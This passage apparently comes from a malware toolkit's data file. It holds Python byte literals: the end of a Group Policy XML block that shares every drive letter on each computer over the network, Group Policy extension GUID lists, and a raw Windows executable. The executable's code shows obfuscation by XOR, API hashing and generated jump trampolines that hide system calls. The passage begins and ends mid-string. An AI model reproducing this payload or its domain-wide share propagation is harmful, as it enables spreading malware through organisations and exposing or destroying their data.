action="U" name="%%ComputerName%%_V" path="V:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_W" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_W" path="W:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_X" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_X" path="X:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_Y" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_Y" path="Y:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_Z" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_Z" path="Z:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n</NetworkShareSettings>\r\n'


b'[{00000000-0000-0000-0000-000000000000}{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{7150F9BF-48AD-4DA4-A49C-29EF4A8369BA}{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]'


b'[{00000000-0000-0000-0000-000000000000}{BFCBBEB0-9DF4-4C0C-A728-434EA66A0373}{CC5746A9-9B74-4BE5-AE2E-64379C86E0E4}][{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{6A4C88C6-C502-4F74-8F60-2CB23EDC24E2}{BFCBBEB0-9DF4-4C0C-A728-434EA66A0373}][{91FBB303-0CD5-4055-BF42-E512A681B325}{CC5746A9-9B74-4BE5-AE2E-64379C86E0E4}]'


b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\t\xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode.\r\r\n$\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x05\x00\xd8\xccob\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x02\x01\x0b\x01\x0e\x0c\x00.\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00a<\x00\x00\x00\x10\x00\x00\x00@\x00\x00\x00\x00@\x00\x00\x10\x00\x00\x00\x02\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x04\x00\x00\x96Z\x00\x00\x02\x00@\x81\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00@\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbcA\x00\x00P\x00\x00\x00\x00`\x00\x00\xe0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x00\x00@\x03\x00\x00\x90@\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p@\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00p\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00\xfa,\x00\x00\x00\x10\x00\x00\x00.\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00`.rdata\x00\x00\x08\x04\x00\x00\x00@\x00\x00\x00\x06\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00@.data\x00\x00\x00\xdc\x01\x00\x00\x00P\x00\x00\x00\x02\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\xc0.rsrc\x00\x00\x00\xe0\x01\x00\x00\x00`\x00\x00\x00\x02\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00@.reloc\x00\x00@\x03\x00\x00\x00p\x00\x00\x00\x04\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\xc0@\xc1\xe0\x06\x8d@\xf0d\x8b\x00\xc3\x8d@\x00U\x8b\xecQR\x8bM\x08\x8bU\x0c\x811\xd4\x9f\x02;\xf7\x11\x83\xc1\x04Ju\xf2ZY]\xc2\x08\x00\x90SQj\x01X\x0f\xa2\xf7\xc1\x00\x00\x00@\x0f\x95\xc0\x84\xc0t\t\x0f\xc7\xf0\x0f\xc7\xf2Y[\xc3j\x07X3\xc9\x0f\xa2\xf7\xc3\x00\x00\x04\x00\x0f\x95\xc0\x84\xc0t\t\x0f\xc7\xf8\x0f\xc7\xfaY[\xc3\x0f1\x8b\xc8\xc1\xc9\r\x0f1\x8b\xd0\xc1\xc2\r\x8b\xc1Y[\xc3\x8d@\x00U\x8b\xecQR\xe8\xa6\xff\xff\xff\xb9\rf\x19\x00\xf7\xe1\x05_\xf3n<%\xff\xff\xff\x07\x8bM\x0cA3\xd2\xf7\xf1\x92;E\x08r\x0b;E\x0cw\x06ZY]\xc2\x08\x00\xeb\xcf\x8b\xffU\x8b\xecRV\x8bU\x0c\xb8\xbfDN\x0c5\xd4\x9f\x02;\xf7\xd03\xd0\x8bu\x083\xc0\xac\x80\xc6z\x80\xeez\xc1\xca\r\x03\xd0\x85\xc0u\xee\x8b\xc2^Z]\xc2\x08\x00\x90U\x8b\xecRV\x8bU\x0c\xb8\xbfDN\x0c5\xd4\x9f\x02;\xf7\xd03\xd0\x8bu\x083\xc0f\xadf\x83\xf8Ar\nf\x83\xf8Zw\x04f\x83\xc8 \x80\xc6z\x80\xeez\xc1\xca\r\x03\xd0\x85\xc0u\xdd\x8b\xc2^Z]\xc2\x08\x00U\x8b\xecSQ\x83}\x08\x00t\x1e3\xc0\x8b]\x08\xeb\x01@f\x83<C\x00u\xf8f\x83|C\xfe\\t\x07\xc7\x04C\\\x00\x00\x00Y[]\xc2\x04\x00\x90\xe8\x9b\xfe\xff\xff\x8b@\x10\x8b@<\xc3U\x8b\xecVW\xbe\xd4\x9f\xfcD\x81\xf6\xd4\x9f\x02;\x8dv0\x8b}\x08f\xadf\x85\xc0u9f\xb8\\\x00f\xab\xb8\x87\x9f{;5\xd4\x9f\x02;\xab\xb8\xa7\x9fv;5\xd4\x9f\x02;\xab\xb8\xb1\x9fo;5\xd4\x9f\x02;\xab\xb8\xe7\x9f0;5\xd4\x9f\x02;\xabf3\xc0f\xab\xeb\x04f\xab\xeb\xbc_^]\xc2\x04\x00U\x8b\xec\x83\xc4\xf0SVW\x83=\xb0P@\x00\x00u\x1d\xc7\x05\xb0P@\x00\xff\xff\xff\xff\x8d\x050\x1a@\x00\xffp \xe8\xd6\xff\xff\xff\xa3\xb0P@\x00\x83=\xb4P@\x00\x00u\x1d\xc7\x05\xb4P@\x00\xff\xff\xff\xff\x8d\x050\x1a@\x00\xffp\x1c\xe8\xb0\xff\xff\xff\xa3\xb4P@\x00\xc7E\xfc\x00\x00\x00\x00\xe8\xd3\xfd\xff\xff\x8b@\x0c\x8dH\x0cQ\x8fE\xf8\x8bX\x0c\x8bs\x18\xb8\x00x\x00\x00\xc1\xe8\t\x8b\x040\x8d\x04\x06\x8bxx\x85\xff\x0f\x84\x8d\x00\x00\x00\x8dC,j\x00\xffp\x04\xe8\x89\xfe\xff\xff\x89E\xf4\x8d<7\xffw\x18\x8fE\xf0\x83}\xf0\x00tn\x8bO \x8bW$\x8d\x0c1\x8d\x142\x8b\x01\xffu\xf4\x8d\x040P\xe8)\xfe\xff\xff\xf7\xd05\xd4\x9f\x02;;E\x08u9\x0f\xb7\n\xc1\xe1\x02\x8bG\x1c\x8d\x0c\x08\x8d\x0c1\x8b\x01\x8d\x040P\x8fE\xfcP\xe8_\x02\x00\x00\x85\xc0t\x0b\xffu\xfc\xe8\x97\x02\x00\x00\x89E\xfc\x8bE\xfc_^[\x8b\xe5]\xc2\x04\x00\x83\xc1\x04\x83\xc2\x02\xffM\xf0\x83}\xf0\x00u\x9e\x8b\x1b9]\xf8\x0f\x85L\xff\xff\xff\x8bE\xfc_^[\x8b\xe5]\xc2\x04\x00\x8b\xffU\x8b\xec\x0f\xb6M\x08\x8d\x05\x18\x13@\x00\x0f\xb7\x04H%W\x01\x00\x00]\xc2\x04\x00\x8b\xff \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00(\x00(\x00(\x00(\x00(\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00H\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x84\x00\x84\x00\x84\x00\x84\x00\x84\x00\x84\x00\x84\x00\x84\x00\x84\x00\x84\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x81\x00\x81\x00\x81\x00\x81\x00\x81\x00\x81\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x10\x00\x82\x00\x82\x00\x82\x00\x82\x00\x82\x00\x82\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x02\x00\x10\x00\x10\x00\x10\x00\x10\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00U\x8b\xecSVW3\xf6\x8b}\x08\x83\xc9\xff3\xc0\xf2\xae\xf7\xd1+\xf9\x8dY\xff\x83\xfb\x05v\x1a\x0f\xb6\x0fQ\xe8\xbd\xfd\xff\xff\x85\xc0u\x02\xeb\x06GK\x85\xdbu\xeb\x85\xdbu\x01F\x8b\xc6_^[]\xc2\x04\x00\x8d@\x00U\x8b\xec\x83\xc4\x80VW\x8bu\x08\x8b\xfe\x83\xc9\xff\xb0.\xf2\xae\xf7\xd1I\x8d}\x80\xf3\xa42\xc0\xaa3\xc0\x83=\xb0P@\x00\x00t0\x83=\xb4P@\x00\x00t\'j\x00\x8dE\x80P\xe8\xa2\x00\x00\x00\x85\xc0t\x18F\x8d}\x80\x8a\x0e\x88\x0fFG\x84\xc9u\xf6\x8dM\x80QP\xe8\xea\x00\x00\x00_^\x8b\xe5]\xc2\x04\x00\x8b\xffU\x8b\xecW\x8b}\x0c\x8bU\x08\xc7\x02\x00\x00\x00\x00\x89z\x04\x85\xd2t"\x83\xc9\xff3\xc0\xf2f\xaf\xf7\xd1\x81\xf9\xff\xff\x00\x00v\x05\xb9\xff\xff\x00\x00\xd1\xe1f\x89J\x02IIf\x89\n_]\xc2\x08\x00\x8b\xffU\x8b\xecW\x8b}\x0c\x8bU\x08\xc7\x02\x00\x00\x00\x00\x89z\x04\x85\xfft\x1e\x83\xc9\xff3\xc0\xf2\xae\xf7\xd1\x81\xf9\xff\xff\x00\x00v\x05\xb9\xff\xff\x00\x00f\x89J\x02If\x89\n_]\xc2\x08\x00\x8b\xffU\x8b\xec\x81\xec\x14\x02\x00\x00VW3\xc0\x89E\xfc\x83}\x0c\x00u"\x8bu\x08\x8d\xbd\xec\xfd\xff\xff\xacf\xab\x84\xc0u\xf9\x8d\x85\xec\xfd\xff\xffP\x8dE\xf4P\xe8N\xff\xff\xff\xeb\x0c\xffu\x08\x8dE\xf4P\xe8@\xff\xff\xff\x8dE\xfcP\x8dE\xf4Pj\x00j\x00\xff\x15\xb0P@\x00\x8bE\xfc_^\x8b\xe5]\xc2\x08\x00\x8d@\x00U\x8b\xec\x83\xc4\xf4\xc7E\xfc\x00\x00\x00\x00\x81}\x0c\xff\xff\x00\x00v!\xffu\x0c\x8dE\xf4P\xe8>\xff\xff\xff\x8dE\xfcPj\x00\x8dE\xf4P\xffu\x08\xff\x15\xb4P@\x00\xeb\x12\x8dE\xfcP\xffu\x0cj\x00\xffu\x08\xff\x15\xb4P@\x00\x8bE\xfc\x8b\xe5]\xc2\x08\x00\x8b\xffU\x8b\xec\x81\xecX\x02\x00\x00SW\x83=\xb8P@\x00\x00u\x1d\xc7\x05\xb8P@\x00\xff\xff\xff\xff\x8d\x05\x98\x1a@\x00\xffp\x04\xe8\xac\xfa\xff\xff\xa3\xb8P@\x00\x83=\xbcP@\x00\x00u\x1d\xc7\x05\xbcP@\x00\xff\xff\xff\xff\x8d\x05\x98\x1a@\x00\xffp\x08\xe8\x86\xfa\xff\xff\xa3\xbcP@\x00\x83=\xc0P@\x00\x00u\x1d\xc7\x05\xc0P@\x00\xff\xff\xff\xff\x8d\x05\x98\x1a@\x00\xffp\x0c\xe8`\xfa\xff\xff\xa3\xc0P@\x00\x8d\x1d\xc4P@\x00\x83;\x00u2S\xe8\xea\xf9\xff\xfff3\xc0\xb9\xff\xff\xff\xff\x8b\xfb\xf2f\xaf\x83\xef\x02\xc7\x07w`\xd7\xc4\xc7G\x04\x05`\x99\xc4\xc7G\x08G`\x91\xc4j\x03W\xe8b\xf8\xff\xff\xc7E\xfc\x00\x00\x00\x00j\x00j\x00j\x00\x8d\x85\xa8\xfd\xff\xffPj\x00h\xc4P@\x00\xff\x15\xb8P@\x00\x89E\xf8\x83}\xf8\xfftVj\x00\x8d\x85\xd4\xfd\xff\xffP\xe8\x06\xf9\xff\xff\xf7\xd05\xd4\x9f\x02;;E\x08u\x1f\xffu\xf8\xff\x15\xc0P@\x00j\x01\x8d\x85\xd4\xfd\xff\xffP\xe83\xfe\xff\xff_[\x8b\xe5]\xc2\x04\x00\x8d\x85\xa8\xfd\xff\xffP\xffu\xf8\xff\x15\xbcP@\x00\x85\xc0u\xb3\xffu\xf8\xff\x15\xc0P@\x00\x83}\xfc\x00t\x02\xeb7\x8d\x1d\xc4P@\x00\x83}\xfc\x00u#f\xb8.\x00\xb9\xff\xff\xff\xff\x8b\xfb\xf2f\xaf\xc7\x07O`\x8f\xc4\xc7G\x04]`\xfd\xc4j\x02W\xe8\xab\xf7\xff\xff\xffE\xfc\xe9H\xff\xff\xff\xb8\x00\x00\x00\x00_[\x8b\xe5]\xc2\x04\x00\x8b\xffU\x8b\xec\x83\xc4\xf0SVW\xc7E\xf8\x00\x00\x00\x00\x8bu\x08\x85\xf6\x0f\x84\x8a\x01\x00\x00\x83=DQ@\x00\x00u\x1d\xc7\x05DQ@\x00\xff\xff\xff\xff\x8d\x050\x1a@\x00\xffp\x14\xe8\x14\xf9\xff\xff\xa3DQ@\x00\xc7E\xf8\x00\x00\x00\x00\xc7E\xf4\x00\x00\x00\x00\x8bE\x0c\xc1\xe0\x02\x89E\xf0j@h\x000\x10\x00\x8dE\xf0Pj\x00\x8dE\xf4Pj\xff\xff\x15DQ@\x00\x83}\xf4\x00\x0f\x84*\x01\x00\x00j\x04h\x000\x10\x00\x8dE\x0cPj\x00\x8dE\xf8Pj\xff\xff\x15DQ@\x00\x83}\xf8\x00\x0f\x84\x07\x01\x00\x00\xad\x8b}\xf8\x8b]\xf4P\xe8\xcd\xfd\xff\xff\x85\xc0\x0f\x84\xf2\x00\x00\x00\xad=\xe7\xac1\x08u\x05\xe9\xe5\x00\x00\x00P\xe8\x8a\xf8\xff\xff\x89E\xfc\x83}\xfc\x00\x0f\x84\xca\x00\x00\x00\xc6\x03\xb8\x8b\xc3\xabj\x04j\x00\xe8"\xf7\xff\xff\x85\xc0u/j\x12j\x02\xe8\x15\xf7\xff\xff\x8b\xc8\x8bE\xfc\xf7\xd0\xd3\xc0\x89C\x01f\xc7C\x05\xc1\xc8\x88K\x07f\xc7C\x08\xf7\xd0f\xc7C\n\xff\xe0\xe9\x88\x00\x00\x00\x83\xf8\x01u,j\x12j\x02\xe8\xe1\xf6\xff\xff\x8b\xc8\x8bE\xfc\xf7\xd0\xd3\xc8\x89C\x01f\xc7C\x05\xc1\xc0\x88K\x07f\xc7C\x08\xf7\xd0f\xc7C\n\xff\xe0\xebW\x83\xf8\x02u\x16\x8bE\xfc\xf7\xd0\x89C\x01f\xc7C\x05\xf7\xd0f\xc7C\x07\xff\xe0\xeb<\x83\xf8\x03u\x16\x8bE\xfc\x0f\xc8\x89C\x01f\xc7C\x05\x0f\xc8f\xc7C\x07\xff\xe0\xeb!\x83\xf8\x04u\x1c\x8bE\xfc\xf7\xd0\x0f\xc8\x89C\x01f\xc7C\x05\x0f\xc8f\xc7C\x07\xf7\xd0f\xc7C\t\xff\xe0\x83\xc3\x10\xe9\x0e\xff\xff\xff\x8bE\xf8_^[\x8b\xe5]\xc2\x08\x00\x8d@\x00\xf7 \xbe\xb7\xff><\x9b\x92\xcc\x87I^\x07\xa9\xbcw+;\x90\xb1\x82\xaf\x82I\x81\xe0\xfdY\xc8\xabm\x8e\x9cK\x83y\xa6\x92\xad\xa1\x12\x9a-\xa2\xb2\xa2\x1f\xa2\xb1r\rb\xb5J\rUY"W\x11`\xc8\xe9\xd2a\xe4\x13\x1d*\xd2b](\xd2|-\xb7Goo\xc9eb\xbf\x86\rJ\xee:\x99\x04\xea\xfc\x03\xc9\xfd\xbf\x9e1\xe7\xac1\x08\xd3\xb8\x9d8\xc9\xce\xe2\xb8\xcb\xbf\xa3q\x96y\x0b\x1c\xf1\x05\xce\xd5\x08\xf0\x06\xb4\xd1aq\x1dE_\xc9\x12T\xae$\x9c\xfd\x8d\xc2\xc5\x9b\xa2S\xeeR\x89n\x0c\xef\xc6\xe6\xcf\xeb\xbe\xe0\x0b\x98\xc8\xb0\xc7w\xdb\x85}\x91\xcc\xca\xfb\x10"E\xcb\xa9\xf81\x7f\xe7\\}-\x84[\x932\x86C\x81\xe99\xd8n9\xd6\xc2\x94\x11\xde\xcfFT\xe7\xac1\x08+\x1a\xb7\x00jO\xe6\x05\xe7\xac1\x08\x97\xd0\xc3\x94\xe5\r\xd7IO%\xd0\x12\xafSD1\xd03\x06\xd5\xe7\xac1\x08\xd1\x0f\xa3\xc3m\xc1y\x0b\x9f~}zHGkS\xef\xd7\xd0\x11\xe0A/\xd1\x8f\xfc\xae\xaa\xb5\x99\x83d\'\xd4\xed\xdef\xab\x80a;\xcd\xce\xe5\xcf\xe2?\x0e(\x851\x97\xe7\xac1\x08\xe2\x10\x9dC\xcf\'&\x85i\xc8\xfd\xcb\xe7\xac1\x08\xb1\xcf\xdd\xca\x0b\xe6\x85\xa7O--\xbf\n\xc4\xbd\x8b\xe6=<\x1d\xdf\x0e\x13;\xe7\xac1\x08\x1e\x12\x93\x08\xe8\xd0\x1c\x1ca\xc2SE\xe7\xac1\x08\xf4(\xa2\xae\x81\xb7x\xe2\x0e\x9cmh\xb8\xb3\x9b\x9f\xe7\xac1\x08\x10y\xc9\xff\xeb*\x92\xff\xe7\xac1\x08\x82\x99\xb1HaO\xe5/\x82Gb\xfe\x01\r\x86QQ+v^\xe7\xac1\x08j`h0\x1a@\x00\xe8\xa0\xfc\xff\xff\xa3HQ@\x00j`h\x98\x1a@\x00\xe8\x8f\xfc\xff\xff\xa3LQ@\x00j\x04h\x00\x1b@\x00\xe8~\xfc\xff\xff\xa3PQ@\x00j\x10h\x0c\x1b@\x00\xe8m\xfc\xff\xff\xa3TQ@\x00j0h$\x1b@\x00\xe8\\\xfc\xff\xff\xa3XQ@\x00j\x08h\\\x1b@\x00\xe8K\xfc\xff\xff\xa3\\Q@\x00j\x14hl\x1b@\x00\xe8:\xfc\xff\xff\xa3`Q@\x00j\x08h\x88\x1b@\x00\xe8)\xfc\xff\xff\xa3dQ@\x00j\x0ch\x98\x1b@\x00\xe8\x18\xfc\xff\xff\xa3hQ@\x00j\x04h\xac\x1b@\x00\xe8\x07\xfc\xff\xff\xa3lQ@\x00j\x10h\xb8\x1b@\x00\xe8\xf6\xfb\xff\xff\xa3pQ@\x00\xc3U\x8b\xec\x83\xc4\xf8SVW\xc7E\xfc\x00\x00\x00\x00\xc7E\xf8\x00\x00\x00\x00\x8bu\x10\x8b}\x0c\xad\x8b\xd8\x8b\x15HQ@\x00j\x10j\x08\xffu\x08\xffR\x04\x89E\xf8\x83}\xf8\x00u\x0c\x8bE\xfc_^[\x8b\xe5]\xc2\x10\x00\xab\xc6\x00\xb8j\x04j\x00\xe8\xa2\xf3\xff\xff\x85\xc0u/j\x12j\x02\xe8\x95\xf3\xff\xff\x8b\xc8\xf7\xd3\xd3\xc3\x8bE\xf8\x89X\x01f\xc7@\x05\xc1\xc8\x88H\x07f\xc7@\x08\xf7\xd0f\xc7@\n\xff\xe0\xe9\x88\x00\x00\x00\x83\xf8\x01u,j\x12j\x02\xe8a\xf3\xff\xff\x8b\xc8\xf7\xd3\xd3\xcb\x8bE\xf8\x89X\x01f\xc7@\x05\xc1\xc0\x88H\x07f\xc7@\x08\xf7\xd0f\xc7@\n\xff\xe0\xebW\x83\xf8\x02u\x16\xf7\xd3\x8bE\xf8\x89X\x01f\xc7@\x05\xf7\xd0f\xc7@\x07\xff\xe0\xeb<\x83\xf8\x03u\x16\x0f\xcb\x8bE\xf8\x89X\x01f\xc7@\x05\x0f\xc8f\xc7@\x07\xff\xe0\xeb!\x83\xf8\x04u\x1c\xf7\xd3\x0f\xcb\x8bE\xf8\x89X\x01f\xc7@\x05\x0f\xc8f\xc7@\x07\xf7\xd0f\xc7@\t\xff\xe0\x83m\x14\x04\x83}\x14\x00\x0f\x85\x02\xff\xff\xff\xc7E\xfc\x01\x00\x00\x00\x8bE\xfc_^[\x8b\xe5]\xc2\x10\x00\x8b\xffU\x8b\xec\x83\xc4\xf4\xc7E\xfc\x00\x00\x00\x00\xc7E\xf8\x00\x00\x00\x00\xc7E\xf4\x00\x00\x00\x00\x8b\x15HQ@\x00j\x00j\x00j\x00j\x00j\x00h\x02\x10\x00\x00\xff\x12\x89E\xf8\x83}\xf8\x00u\x05\xe9\x8e\x01\x00\x00\x8b\x15HQ@\x00j\x00j\x00j\x00j\x00j\x00h\x02\x10\x04\x00\xff\x12\x89E\xf4\x83}\xf4\x00u\x05\xe9i\x01\x00\x00\x8b\x15HQ@\x00jLj\x08\xffu\xf8\xffR\x04\xa3tQ@\x00\x83=tQ@\x00\x00u\x05\xe9F\x01\x00\x00jLh\x00P@\x00\xff5tQ@\x00\xffu\xf4\xe83\xfe\xff\xff\x85\xc0u\x05\xe9(\x01\x00\x00\x8b\x15HQ@\x00jLj\x00h\x00P@\x00\xffR$\x83\xc4\x0c\x8b\x15HQ@\x00j\x18j\x08\xffu\xf8\xffR\x04\xa3xQ@\x00\x83=xQ@\x00\x00u\x05\xe9\xf0\x00\x00\x00j\x18hLP@\x00\xff5xQ@\x00\xffu\xf4\xe8\xdd\xfd\xff\xff\x85\xc0u\x05\xe9\xd2\x00\x00\x00\x8b\x15HQ@\x00j\x18j\x00hLP@\x00\xffR$\x83\xc4\x0c\x8b\x15HQ@\x00j\x08j\x08\xffu\xf8\xffR\x04\xa3\x80Q@\x00\x83=\x80Q@\x00\x00u\x05\xe9\x9a\x00\x00\x00j\x08h|P@\x00\xff5\x80Q@\x00\xffu\xf4\xe8\x87\xfd\xff\xff\x85\xc0u\x02\xeb\x7f\x8b\x15HQ@\x00j\x08j\x00h|P@\x00\xffR$\x83\xc4\x0c\x8b\x15HQ@\x00j\x18j\x08\xffu\xf8\xffR\x04\xa3|Q@\x00\x83=|Q@\x00\x00u\x02\xebJj\x18hdP@\x00\xff5|Q@\x00\xffu\xf4\xe87\xfd\xff\xff\x85\xc0u\x02\xeb/\x8b\x15HQ@\x00j\x18j\x00hdP@\x00\xffR$\x83\xc4\x0c\x8b\x15\x80Q@\x00j\x00\xff\x12\x8b\x15\x80Q@\x00\xffR\x04\xc7E\xfc\x01\x00\x00\x00\x8bE\xfc\x8b\xe5]\xc3\x8d@\x00U\x8b\xec3\xc0@@\x8d\x0c\xc5\x01\x00\x00\x00\x83}\x08\x00u\x04\xf7\xd8\xeb\x03\x8bE\x08\x8b\x15HQ@\x00j\x00j\x00QP\xffRX]\xc2\x04\x00\x8b\xffU\x8b\xec\x83\xc4\xf4SVW\xc7E\xfc\x00\x00\x00\x00\xc7E\xf8 